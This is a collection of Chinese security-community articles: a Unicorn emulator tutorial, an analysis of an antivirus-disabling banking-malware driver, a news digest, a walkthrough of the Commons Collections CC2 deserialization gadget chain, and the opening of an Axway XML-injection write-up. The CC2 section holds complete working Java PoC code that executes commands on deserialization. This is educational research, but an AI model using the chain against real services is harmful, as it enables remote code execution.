编译unicorn很简单，在unicorn根目录下执行 **./make.sh** 即可，不是直接make。
默认情况下，make.sh脚本编译的是动态库，如果需要静态库的小伙伴可以在config.mk修改UNICORN_STATIC属性为YES.
unicorn学习方法？unicorn开发者并不喜欢写太多的开发文档！所以你在README.md中可能仅仅只能看到如何编译Unicorn，至于unicorn提供了哪些API、宏都是没有说明的。实际上最好的开发文档常在unicorn.h头文件中，另外demo也很丰富。
**有了unicorn，我们就有了一颗完全可以操控的虚拟ARM CPU**
，可以通过API实现寄存器读写、流程控制、内存映射、接管中断等等，完全可以将SO的代码加载到unicorn中去运行。
我们通过一段代码学习unicorn基本使用方法。
#define THUMB_CODE "x83xb0" // sub sp, #0xc
static void test_thumb(void)
{
uc_engine *uc;
uc_err err;
uc_hook trace1, trace2;
int sp = 0x1234; // R0 register
printf("Emulate THUMB coden");
// 初始化模拟器为Thmub模式
err = uc_open(UC_ARCH_ARM, UC_MODE_THUMB, &uc);
if (err) {
printf("Failed on uc_open() with error returned: %u (%s)n",
err, uc_strerror(err));
return;
}
// 给模拟器映射2M内存,UC_PROT_ALL为所有内存权限（读写执行）
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
// 填充机器码到虚拟内存中。
uc_mem_write(uc, ADDRESS, THUMB_CODE, sizeof(THUMB_CODE) - 1);
// 初始化寄存器
uc_reg_write(uc, UC_ARM_REG_SP, &sp);
// 设置回调函数
uc_hook_add(uc, &trace1, UC_HOOK_BLOCK, hook_block, NULL, 1, 0);
//设置一个指令执行回调用，该回调函数会在指令执行前被调用
uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, ADDRESS, ADDRESS);
// 开始运行虚拟CPU，因为是Thumb模式，所以地址的最低位需要置位。
err = uc_emu_start(uc, ADDRESS | 1, ADDRESS + sizeof(THUMB_CODE) -1, 0, 0);
if (err) {
printf("Failed on uc_emu_start() with error returned: %unerror:%sn", err,uc_strerror(err));
}
// 输出结果寄存器
printf(">>> Emulation done. Below is the CPU contextn");
uc_reg_read(uc, UC_ARM_REG_SP, &sp);
printf(">>> SP = 0x%xn", sp);
uc_close(uc);
}
上述代码已经非常详细介绍了unicorn大概使用方法，具体信息可以参考unicorn.h
中的注释。从代码可以看出，unicorn的控制粒度非常细，灵活的API可以让我们掌控虚拟机的各种信息，特别是Unicorn的Hook功能（类似于异常处理机制，可以借助这个实现断点之类的）。
**Unicorn 与 黑盒利用的关系**
Unicorn 是一款很轻便的CPU虚拟库，我将使用Unicorn来运行我难以逆向的算法。
黑盒调用需要解决哪些问题？
**1、SO装载**
**2、内存映射**
**3、栈分配**
**4、API调用**
**5、返回值读取**
**虚拟内存与真实内存**
Unicorn 基于qemu，所以拥有完善的内存管理机制。 虚拟机内部内存和外部内存是完全隔离开的，
**也就是说虚拟机内访问0x400不等于外部地址0x400** 。虚拟机中的内存最初情况是一片空白，需用调用uc_mem_map映射内存。
映射内存之后就需要通过uc_mem_write向虚拟机内存中写入真实数据（比如代码、参数等）。
**注意：uc_mem_map的大小和基地址都需要4kb对齐，否者会映射失败。**
**SO的装载**
我们需要写一个Loader来加载要黑盒利用的SO吗？完全没有必要！最简单的方法是将SO文件直接载入到内存中，然后在虚拟机中偏移为0处，映射一段能装下这个SO文件的内存，最后将SO的数据拷贝到虚拟机内存。
**这样做有什么好处呢？我们能直接利用IDA中的函数地址了！**
**栈**
如果想用Unicorn运行一个函数，那么一定要解决的问题就是栈。解决方案是调用uc_mem_map映射一段固定内存地址作为运行栈。映射之后再将地址通过uc_reg_write写到SP寄存器中。
参考代码如下:
uint32_t sp = 0x10000; // 分配Stack
uint32_t sp_start = sp + 0x200;
uc_mem_map(uc,sp,sp_start - sp,UC_PROT_ALL);
uc_reg_write(uc,UC_ARM_REG_SP,&sp);
有了栈才能保证SO的正常运行。
**Unicorn 的回调机制**
**Unicorn 强大在于它拥有粒度极细的回调机制** ，大概有内存访问前、后、访问异常、代码异常、代码执行等等回调，所以功能比目前Linux or
Windows的调试API还完善，通过Unicorn完完全全是控制CPU。
添加回调的函数是：uc_hook_add
不同类型的回调有不同类型的回调声明，具体可以参考unicorn.h 这个头文件。
本文主要介绍指令执行回调（类似于断点功能），该回调会在指令执行前调用，我一般用来打印关键点上下文信息 **接管API调用**
uc_hook trace1,trace2;
uc_hook_add(uc, &trace2, UC_HOOK_CODE, (void *)hook_code, NULL,0, function_start + function_size);
static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data)
{//address 为当前执行位置、size为指令长度，user——data可忽略
switch(address)
{
case 0x1234: // process... break;
case 0x1223: break:
default:
xxxxxx;
}
set_breakpoint(uc,0x83f4); //如果address地址是83f4就输出寄存器信息
set_breakpoint(uc,0x853a);
}
／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／
static void set_breakpoint(uc_engine *uc,uint address)
{
uint pc;
uc_reg_read(uc,UC_ARM_REG_PC,&pc); if(pc == address)
{ printf("========================n"); printf("Break on 0x%xn",pc);
uint values;
uc_reg_read(uc,UC_ARM_REG_R0,&values); printf("R0 = 0x%x n",values);
uc_reg_read(uc,UC_ARM_REG_R1,&values); printf("R1 = 0x%x n",values);
uc_reg_read(uc,UC_ARM_REG_R2,&values); printf("R2 = 0x%x n",values);
uc_reg_read(uc,UC_ARM_REG_R3,&values); printf("R3 = 0x%x n",values);
uc_reg_read(uc,UC_ARM_REG_R4,&values); printf("R4 = 0x%x n",values);
uc_reg_read(uc,UC_ARM_REG_R5,&values); printf("R5 = 0x%x n",values); printf("========================n");
}
}
上述代码看出，通过在每条指令上设置执行回调来监控状态，还能通过检查CPU是否执行到我感兴趣的地址（断点地址）来输出寄存器信息。其中的switch
address是做什么用的呢？这个主要是用于执行到bl 或 blx到其它动态库代码时接管处理。
**接管API调用**
如果我们想运行的程序会调用不属于这个模块的代码的情况怎么处理呢？比如调用JNI的函数或者libc的函数，怎么办呢？
完全虚拟一个这样的环境当然没问题，但是不划算。所以我采用HOOK的方式实现函数调用。我一般会提前确认目标函数调用了哪些外部的函数，做一个统计。一般外部的函数都是系统库的函数，在网上能查到其用法。
在上一段代码中已经提到，switch address是用来处理跨库调用的，address一般为bl / blx
或plt中函数桥接的第一行地址。这样我们能及时拦截到函数执行时，控制权交还外部回调代码，在回调中根据不同函数实现不同功能。
比如我要处理JNI中 **GetStringUTFCharts** 这个函数，那么我可能需要加一个断点在blx
r3这个位置，当程序执行到这里时，会陷入回调。回调中根据address分流处理。比如这个函数就是转换字符串，那么我们就模拟完成这个操作，按效果来说，在vm中分配一段内存，然后写入字符串，最后修改R0和PC寄存器即可。
**防范建议**
避免使用纯算法，增加核心算法的上下文依赖，防止黑盒调用。 | 社区文章 |
# 【技术分享】解密一个反杀毒恶意驱动
|
##### 译文声明
本文是翻译文章，文章来源：securityintelligence.com
原文地址：<https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
**[](http://www.ibm.com/security/xforce/research.html?ce=ISM0484&ct=SWG&cmp=IBMSocial&cm=h&cr=Security&ccy=US)**
[**IBM
X-Force安全研究**](http://www.ibm.com/security/xforce/research.html?ce=ISM0484&ct=SWG&cmp=IBMSocial&cm=h&cr=Security&ccy=US)
团队在调查一起针对巴西银行的远程恶意软件攻击事件中，发现了一个恶意的反杀毒驱动，它作为恶意金融软件的一部分。而这个恶意软件是用来盗取受害者的银行帐户。
**
**
**解码** **反杀毒驱动**
当试图了解未知软件的形为时,主要有两种方法：动态调试，我们执行代码并使用sysinternals工具和调试器来观察它的形为；静态分析，我们使用反汇编或反编译来检测它的代码。
在这种情况下，恶意软件作为真实攻击的一部分，时间是最重要的。我的目标是尽可能快的了解这个恶意驱动的行为，并最终减小检测和响应的时间。由于这个特殊的驱动不包含大量的代码，所以我决定静态分析它。
**
**
**反汇编**
我已经打开一个IDA的实例来分析一段从来没有见过的代码。
我注意到的第一个问题就是函数比较少,只有12个需要分析。
查看导入表和字符串来推测恶意软件的功能是一个好办法,但是在这种情况下,查看字符串似乎不太可能。
但是,导入表却恰恰相反
现在,我发现了字符串创建和转换函数，有趣的是还有注册表设置函数。恶意软件的作者可能使用多种方法来隐藏导入表，因此我们必须考虑上面截图中没有出现的其他功能。
因为代码不多，所以我决定从入口点DriverEntry开始分析。
第一个函数是由编译器生成的，与安全cookie有关。我们对此不感兴趣，略过它,继续往下看。
从上图可知，函数多次调用sub_4011EA，每次调用都使用不同的参数,参数的范围在1至5之间。
让我们花点时间检查sub_4011EA的函数调用图：
我们看到sub_401160使用了注册表设置函数,让我们检查一下写入了什么。并将这个函数重命名成Write_To_Registry。
汇编代码往往很长，难以理解，所以我使用IDA的[Hex-Rays](https://www.hex-rays.com/index.shtml)插件，它能将汇编代码转换成c代码。这能明显减少代码量的显示。但请牢记，生成的代码并不是准确的。
如上所示，Hex-Rays近乎完美的翻译了代码。现在我们在MSDN文档的帮助下可以轻松了解发生了什么。反杀毒驱动试图访问一个由参数指定的注册表键。如果该键存在，反杀毒驱动会尝试向它写入值，IDA标识为ValueName。从前一张图可知,将要写入的数据是“4”。
但是为什么只是近乎完美呢？请注意，ZwOpenKey接收的第一个参数应该是指向HANDLE的指针，但在第一行代码中却被强制转换成Unicode字符串指针。对一个有经验的研究员，这是小事一桩。通过快速查看MSDN的ObjectAttributes说明，我们发现ObjectName的参数类型的确是字符串指针。从另一方面来看，HANDLE是一个数值又是一个字符串,那么这里发生了什么？应该是IDA对变量类型识别有误。
**
**
**往下看**
现在,有两个关键的问题：
1\. ObjectName从何而来
2\. ValueName从何而来
为了回答第一个问题，我们往回看,检查谁调用了Write_To_Registry函数。
从上图可知,我们感兴趣的UnicodeString参数是由sub_4010EA传入的。而ValueName参数则是由sub_4010EA确定。现在我们只需要检查一个函数就可以回答上述问题。
sub_4010EA函数有两个参数：a1和a2。a2是一个指向字符串的指针，根据前面看到的对这个函数的调用，可以知道它实际上是一个输出参数。
函数的第一部分是一个循环，循环0x1A7次，将byte_403000缓冲区的值依次跟0x8进行异或，结果填充byte_4031B0缓冲区,这是简单的解密。Byte_403357是解密标志，代表是否已解密，以保证不会进行重复的XOR解密操作。
**二进制Blob**
我提取二进制数据并且解密它。这是结果：
数据似乎包含两部分。蓝色部分看起来像是二进制数据。红色部分看起来像是已加密的数据。
仔细观察sub_4010EA,发现解密后的缓冲区传递到sub_401000中,同时还传入了参数a1。sub_401000的返回值会传递过v3。而v3最终会转换成输出参数a2，幸运的是，这是我们感兴趣的值。
在这一点上，我很想改变我的方法。我可以在虚拟机中执行驱动，连接内核调试器并检查sub_401000的返回值。但是我不知道哪种方法更快，所以我决定坚持使用静态分析，至少现在是这样。
**
**
**Sub_401000**
下一个函数sub_401000更加复杂。首先，让我们看看它是如何被调用的：
在此次调用中,它接收三个参数:a1,已解密的缓冲区以及常数1
上面标记的代码表示在循环中匹配a2参数，每次循环的索引加7。在这一点上，我不想进一步的分析二进制数据的解析过程，因为它可能耗时太多。那么我们看看解析过程的下一步是什么？
在第一个循环内，v9是对应a2参数的位置索引。而在这个函数的尾部，我们看到对两个额外函数的调用，其中第二个函数的参数取决于XORed缓冲区的偏移,偏移由v9决定。
**
**
**合理的推测**
我推测sub_4010EA和sub_401000这两个函数都涉及到加密或解密。
让我们来看第一个：
头部标记的部分是初始化一个长度为256（0x100）的数组，数组的每个成员都等于其索引的值。等同于a [i] =
i。据此推测，我强烈怀疑这个调用可能是RC4加密。
看了下时钟，已经是11:30。如果推测是错误的，我可能需要花更多的时间去分析,同时我将考虑进行动态调试。但是我决定再试试静态分析。我假设这个函数与RC4算法有关，为了得到解密的数据和解密的密钥,我重新检查了sub_401000函数。
根据RC4算法,我修改这个函数的变量名：
密钥的长度是8个字节。我找到了保存密钥的地址和密钥生成部分：
上述代码遍历XORed缓冲区的前8个字节，将每个字节与0x8进行异或,最终生成RC4密钥，注意，这里的密钥长度是8，这符合我们之前的推测。
剩下的就是找到需要解密的是什么数据。同样，要准确回答这一问题需要一段时间。目前我们所知的，或者通过推测，需要解密的数据可能是XORed_buff的某些部分。
**
**
**一个捷径**
为了节省时间，我决定不去关心哪些数据需要被解密。相反，我尝试去解密一切数据。RC4是流算法，因此每个字符的解密取决于算法的当前状态。要解密所有内容，我必须先从头开始开始解密缓冲区，直到0x1A7。
伪代码应该是这样的
外层循环从密钥的尾部开始，密钥位于XORed缓冲区的头部，依次处理缓冲区的其余部分。内部循环执行RC4解密。
正如所料，解密后的结果包含大量的垃圾数据，但是也含有许多的有价值的数据：
事实上,有五个这样的字符串; 每个字符串对应着不同的杀毒软件。字符串的路径表示杀毒软件驱动的服务路径。
**进一退二**
让我们回过头来看看第一个函数overwrite_AV_reg_service，它被调用5次，参数的范围是1-5：
函数接收参数，使用get_string函数从加密缓冲区中解密相应参数的字符串，并使用set_registry_value函数将数据写入已解密的注册表键中。
**
**
**拼图**
现在我们知道驱动的不同函数都做了什么，我们可以查看函数调用图：
main_func中的第一个函数被调用5次，参数为1-5。对于每个参数，get_string函数解密不同的反病毒软件相关路径。然后调用set_registry_if_key_exists覆写反病毒驱动的注册表路径，并阻止它加载到系统中。
**
**
**禁用杀软,重启加载**
我们还注意到，系统在加载完恶意驱动之后会重新启动。导致在系统重启之后不加载相关的反病毒软件，使得恶意软件能够畅通无阻的执行。
由于反病毒软件的自我保护功能,用户模式不能覆写反病毒软件的注册表项,所以才使用驱动;执行驱动可以在更高的权限下执行更多的恶意操作，所以防止这种恶意操作是相当困难的。
就是这样。我们现在知道驱动都做什么，我甚至还有几分钟的时间来吃午饭！
**最终免责声明**
如果要在动态调试还是静态分析中作出选择，我选择了后一种方法。因为它可以让我理解代码内部是如何工作的。通过动态调试虽然可以直接获取字符串，但是不知道它是怎么做到的。
在我进行的大部分的研究中,都没有使用Hex-Rays插件，因为插件具有不准确性。我显示代码大多数使用Hex-Rays，只是因为比较方便。 | 社区文章 |
# 【知识】9月29日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Mac OS X本地Javascript隔离绕过，可实现任意文件读取、 BlueBorne 蓝牙漏洞深入分析与PoC、DerbyCon
2017 CTF Write Up 、tinfoleak：获取有关Twitter用户活动的详细信息、黑帽SEO剖析之手法篇、CVE-2017-8046:
RCE in PATCH requests in Spring Data REST、Powershell安全最佳实践、Browser hacking for
280 character tweets **
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
新浪微博招募千名监督员
中国比特币玩家转战海外
**技术类：**
********
Mac OS X本地Javascript隔离绕过，可实现任意文件读取
<https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>
中文版：<http://bobao.360.cn/learning/detail/4496.html>
tinfoleak：获取有关Twitter用户活动的详细信息
<https://github.com/vaguileradiaz/tinfoleak>
在Linux 4.13和Go中玩转内核TLS
<https://blog.filippo.io/playing-with-kernel-tls-in-linux-4-13-and-go/>
BlueBorne 蓝牙漏洞深入分析与PoC
<http://bobao.360.cn/learning/detail/4495.html>
Dawnscanner：针对ruby应用的源码安全扫描器
<https://github.com/thesp0nge/dawnscanner>
未授权访问漏洞总结
<https://www.secpulse.com/archives/61101.html>
黑帽SEO剖析之手法篇
<https://thief.one/2017/09/28/1/>
BLEACH简单介绍
<https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/>
针对NFS服务的渗透测试指南
<https://pentestacademy.wordpress.com/2017/09/20/nfs/>
Win-Sec：Windows下自动化加固脚本
<http://seclist.us/win-sec-windows-automation-system-hardening-scripts.html>
btproxy：蓝牙中间人分析工具
<https://github.com/conorpp/btproxy>
每一个安全从业者都应该知道的10个nmap命令
[https://www.peerlyst.com/posts/top-10-nmap-commands-every-hacker-should-know?utm_source=twitter&utm_medium=social&utm_content=peerlyst_post&utm_campaign=peerlyst_resource](https://www.peerlyst.com/posts/top-10-nmap-commands-every-hacker-should-know?utm_source=twitter&utm_medium=social&utm_content=peerlyst_post&utm_campaign=peerlyst_resource)
Subverting Trust in Windows
<https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf>
DerbyCon 2017 CTF Write Up
<https://labs.nettitude.com/blog/derbycon-2017-ctf-write-up/#top>
Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing
<https://arxiv.org/pdf/1611.06952.pdf>
银行木马企图窃取Brazillion$
<http://blog.talosintelligence.com/2017/09/brazilbanking.html>
这个Spring高危漏洞，你修补了吗？
<https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA>
CVE-2017-8046: RCE in PATCH requests in Spring Data REST
<https://pivotal.io/security/cve-2017-8046>
利用Apple设备上的Wi-Fi协议栈
<https://googleprojectzero.blogspot.de/2017/09/over-air-vol-2-pt-1-exploiting-wi-fi.html>
TLS 1.2 Session Tickets浅谈
<https://blog.filippo.io/we-need-to-talk-about-session-tickets/>
借用Microsoft代码签名证书
<https://blog.conscioushacker.io/index.php/2017/09/27/borrowing-microsoft-code-signing-certificates/>
Browser hacking for 280 character tweets
<http://blog.erratasec.com/2017/09/browser-hacking-for-280-character-tweets.html#.WczQl8a-uUk>
form-grabber恶意代码分析
<https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabber-malware-targeting-browsers/>
Powershell安全最佳实践
<https://www.digitalshadows.com/blog-and-research/powershell-security-best-practices/>
Exploring Robotics with the Hedgehog Robotics Controller
<http://www.deviceplus.com/inspire/exploring-robotics-with-the-hedgehog-robotics-controller/?src=designspark>
Evasive Malware Campaign Abuses Free Cloud Service, Targets Korean Speakers
[http://blog.fortinet.com/2017/09/20/evasive-malware-campaign-abuses-free-cloud-service-targets-korean-speakers?elq_source=socialmedia&utm_source=TWITTER&utm_id=70186&linkId=42854335](http://blog.fortinet.com/2017/09/20/evasive-malware-campaign-abuses-free-cloud-service-targets-korean-speakers?elq_source=socialmedia&utm_source=TWITTER&utm_id=70186&linkId=42854335)
Getting the goods with CrackMapExec: Part 1
<https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html>
Botnet in the Browser: Understanding Threats Caused by Malicious Browser
Extensions
<https://arxiv.org/pdf/1709.09577.pdf>
Server-side browsing considered harmful
<http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf>
CVE-2017-12166: out of bounds write in key-method 1
<https://community.openvpn.net/openvpn/wiki/CVE-2017-12166>
Chromium RCE Vulnerability Fix
<https://electron.atom.io/blog/2017/09/27/chromium-rce-vulnerability-fix>
MIT Tool Lets Programmers Port Source Code Between Incompatible Projects
<https://www.bleepingcomputer.com/news/technology/mit-tool-lets-programmers-port-source-code-between-incompatible-projects/> | 社区文章 |
说是白痴上帝视角的原因在于我们拿到了poc，模拟不知道任何细节，去分析这个漏洞的形成原因。也可以说半黑盒状态，主要是锻炼一下分析能力。CC1的分析已经在之前的文章发过了。主要是拿来入门的，现在我们分析一下CC2.这篇文章也是重构，很早之前分析了一次，但是当时水平比现在还低，所以很多地方还不够清楚。现在重新分析一下。需要涉及到以下的知识点
javassist动态编程（主要是字节码修改操作，把他可以看成一个加强版的反射）
老规矩，先来把poc贴上。
CC1地址：<https://mp.weixin.qq.com/s/BSL4TxzRzAxk6W6zhQue3Q>
本来开始直接跟着poc调的，poc不是特别的友好，很多地方不清楚，那我们还是借助poc逆向来分析吧。
poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("e0mlja");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
了解反序列化的都知道，最终是调用了重写的ReadObject导致了反序列化。所以这里我们看看是PriorityQueue这个类导致了反序列化。我们看看他的ReadObject方法。
方法不大，仔细看看忍一下。heapify()特别瞩目（其实是因为没啥看的了）跟进去看看
siftDown
siftDownUsingComparator
这里我能火速的标记出来是因为之前已经调过了。跟到这里，comparetor调用了compare()方法，再进去就是进接口了。所以这里我们暂放一下，思考一下。是不是某个comparator接口的实现类或者实现类的子类赋值给了comparator()，其中他的compare()调用了其他的一些列方法导致了反序列化链？这里说说两个方法
（1）寻找`Comparator<I>`的实现类，并且有`compare()`方法的类去找找。
（2）直接看poc，看看别人找到了哪个类。
本着说道做到的原则，说了当咸鱼就要躺到底，这一期当个白痴，直接看poc里给了哪个类。
看看这个类有哪些东西。卧槽？compare()方法里调用了transform，然后
this.transformer构造方法赋值我们可控。可真是小刀划屁股，着实让人开了眼。
来验证一下，自己写一个类hello，里面的e0mlja方法会弹出计算器。
import java.io.IOException;
import java.io.Serializable;
public class hello implements Serializable {
public void e0mlja(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
//修改poc
hello h = new hello();
InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);
TransformingComparator comparator =new TransformingComparator(transformer);//使用Tr
PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
queue.add(h);
queue.add(h);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{hello.class,hello.class});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
//这里反射调用修改queue字段的原因是找了一下没有方法可以直接赋值。看看效果
不错，成功了。想一下我们现在有的东西，能够通过反序列化PriorityQueue，实现任一类的方法某个调用了。但前提是我们这个类必须要可序列化。我们从CC1知道，Runtime是不能直接序列化的。所以这里要利用CC1的话必须要构造transformerChain传入PriorityQueue中，但是很遗憾，类型转换失败，所以我们要寻找其他的出路了。其实我们的需求现在已经比较低了。我们自己写了一个类上去，现实中肯定没有开发敢这么写，第二天可能就要跑路。所以我们现在找一个办法，能够动态生成一个类，也可以打到一样的效果，这就用到了javassist动态编程了。这里不多介绍，以往文章应该发了，没法的话后续补上。有人可能会疑惑了，为啥不能直接生成一个新的类，添加方法。这是动态编程可以完成的。但是我们要知道生成的类是没有class的，需要调用修改都要用反射，所以是找不到我们想要执行的方法的。这里我们可以寻找一个其他的可以反序列化类，来生成这个对象。
这里选择了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()来实现。我们来看看这个类
这几个涉及方法的，我们都跟进去看看
最终发现了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i])
->_class[_transletIndex].newInstance()。也就是说利用这条链子来加载并实例化了一个类。（注意，我们采用javassist生成的类的方法是静态方法，类在实例化的时候就会调用。）流程差不多清楚了，现在来看看我们要实现这个链子还需要什么条件。
getTransletInstance() 不需要任何条件即可执行
defineTransletClasses() (1) _name不为空 _class为空（构造方法中赋值，不传就行了）。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不为空
(2)超类需要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
来看看构造完成后，在getTransletInstance()调用了newInstance()完成了类的实例化，执行了我们的恶意代码。
来看一下调用链
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:59, CC2
（1）最后总结一下。我们首先是在重构的PriorityQueue.readObject里面找到了heapify()方法。
（2）通过heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()实现了一条命令执行链，但是由于没有办法生成新的类，所以还需要找一个任意生成类的链子。
（3）newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i])
->_class[_transletIndex].newInstance()，通过这里，我们能将利用javassist动态生成的类的字节码传入到其中，实例化一个类调用我们定义的方法，造成任意命令执行。
这里突发奇想，如果说我直接将Runtime作为对象传入，然后动态调整这个CC链，是不是就不需要动态编程这一步了，直接就可以命令执行？事实证明，是可行的。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class test_e0m {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});
TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用Tr
PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
queue.add(runtime);
queue.add(runtime);//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{Runtime.class,Runtime.class});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
和朋友谈了一下，这种方法的不便之处在于只能命令执行，需要实现什么得自己去找。javassist能够动态生成一个函数。但是需要依赖第三方累。当我们想要依赖的类不存在就用不起。用这个能够直接执行命令，但是对于一些不出网的情况，用起来就恼火，直接出网的能直接用。 | 社区文章 |
文章来源：<https://zero.lol/2019-07-21-axway-securetransport-xml-injection/>
* * *
## 0x01 前言
当对大公司做渗透测试时，通常我们会发现相同的软件在不同公司中被使用。过去几周我一直在做渗透测试，其间我至少三次遇到过一个名为Axway
SecureTransport Login的软件。Axway官网介绍道：
“Axway SecureTransport是一个多协议的MFT网关，用于保护，管理和跟踪企业内部人员的文件传输以及用户社区，云和移动设备安全。
这款产品设计初衷是处理所有事件——从系统，网站，业务线以及合作伙伴之间的大容量高速安全的文件传输，到用户驱动的通信和移动终端。”
它似乎是很关键的设施？Nope
### 0x01.1 哪些组织使用它？
使用Google黑客，看看哪些组织在使用这款软件。
intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)
## 0x02 发现漏洞
正如我在前面说的那样，我在渗透测试过程中遇到Axway SecureTransport
login好几次了，决定稍微查看一下。最终我受够了，碰到太多次了，我认为它一定有蹊跷。
毫无疑问，寻找漏洞的第一步是确定攻击面。看起来它是一款企业软件，并且要使用的话需要提供凭据。那么我会尝试坚持使用目前的权限做一些操作。
我做的第一件事是读页面源码（首页）。在一个名为 _login.js_ 的文件中我发现了以下代码：
var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
url : "/api/v1.0/myself/resetPassword",
type : 'POST',
contentType : 'application/xml',
data : parameters,
cache : false,
success : function(data) {
